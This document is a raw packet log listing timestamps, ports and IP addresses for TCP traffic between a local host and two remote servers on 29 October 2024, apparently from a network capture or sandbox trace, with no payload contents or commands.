Oct 29, 2024 15:27:50.216869116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216881037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216886044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216892004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216897011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216903925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216916084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216923952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216926098 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216945887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216967106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217178106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217186928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217194080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217243910 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217252016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217262030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217267990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217278004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217294931 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217308044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217314959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217315912 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217329025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217335939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217348099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217356920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217376947 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217422962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217432976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217446089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217452049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217459917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217478991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217493057 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217582941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217595100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217602968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217608929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217614889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217621088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217633009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217634916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217638969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217645884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217655897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217669010 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217669010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217681885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217684031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217688084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217704058 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217708111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217716932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217722893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217727900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217729092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217736006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217755079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217761993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217773914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217776060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217782021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217788935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217794895 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217796087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217823029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217842102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217899084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217906952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217925072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217931032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217943907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217948914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217959881 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217959881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217976093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217982054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.217988968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.217997074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218002081 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.218003988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218010902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218028069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218031883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218038082 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.218058109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.218072891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218092918 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.218120098 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.218156099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.218364000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.231880903 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.231931925 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.232279062 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.232831001 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.232848883 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.243156910 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.243196011 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.243371964 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.243695021 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.243711948 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.256819010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.256824017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.256830931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.256887913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.297624111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.297679901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.297686100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.297688961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.297736883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366044044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366060972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366065979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366136074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366134882 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366143942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366159916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366208076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366287947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366355896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366363049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366420031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366575956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366580963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366614103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366619110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366632938 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366663933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366723061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366750002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366760015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.366776943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.366842031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.367305994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367357969 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.367461920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367470026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367482901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367520094 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.367556095 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.367636919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367644072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367650986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367659092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367670059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367677927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367691994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.367707014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.367742062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368153095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368169069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368175983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368182898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368196011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368201017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368207932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368210077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368216038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368227005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368247032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368251085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368254900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368268967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368277073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368278027 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368284941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368294001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368297100 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368308067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368315935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368326902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368334055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368334055 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368346930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368354082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368356943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368361950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368370056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368383884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368387938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368396044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368402958 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368407965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368417025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368432045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368441105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368453026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368460894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368467093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368469000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368475914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368488073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368489981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368496895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368510008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368518114 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368522882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368537903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368539095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368547916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368556023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368556023 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368563890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368568897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368575096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368582010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368586063 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368588924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368603945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368618965 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368628979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368637085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368638039 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368649006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368653059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368659973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368668079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368675947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368681908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368715048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368735075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368742943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368760109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368766069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368778944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368783951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368788958 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368808985 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368818998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368827105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368833065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368839979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368844986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368844986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368854046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.368875027 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368904114 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.368988037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369003057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369004965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369009018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369020939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369026899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369040012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369043112 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369046926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369072914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369092941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369126081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369133949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369139910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369144917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369163990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369168997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369169950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369184017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369190931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369196892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369198084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369205952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369213104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369224072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369224072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369232893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369242907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369261980 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369278908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369306087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369313955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369326115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369330883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369338036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369345903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369350910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369352102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369358063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369363070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369369030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369375944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369390011 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369398117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369409084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369414091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369421005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369426966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369431973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369440079 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369442940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369458914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369463921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369473934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369477034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369493008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369493008 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369498014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369510889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369518042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369520903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369524002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369556904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369558096 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369568110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369573116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369580984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369592905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369600058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369601011 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369618893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369652033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369906902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369915009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369927883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369932890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369940042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369946957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.369966984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.369987965 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370065928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370074034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370083094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370089054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370095968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370110989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370111942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370121002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370126009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370126963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370136023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370141983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370147943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370147943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370157003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370165110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370172024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370173931 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370183945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370214939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370218039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370228052 CET	80	49940	185.215.113.206	192.168.2.6
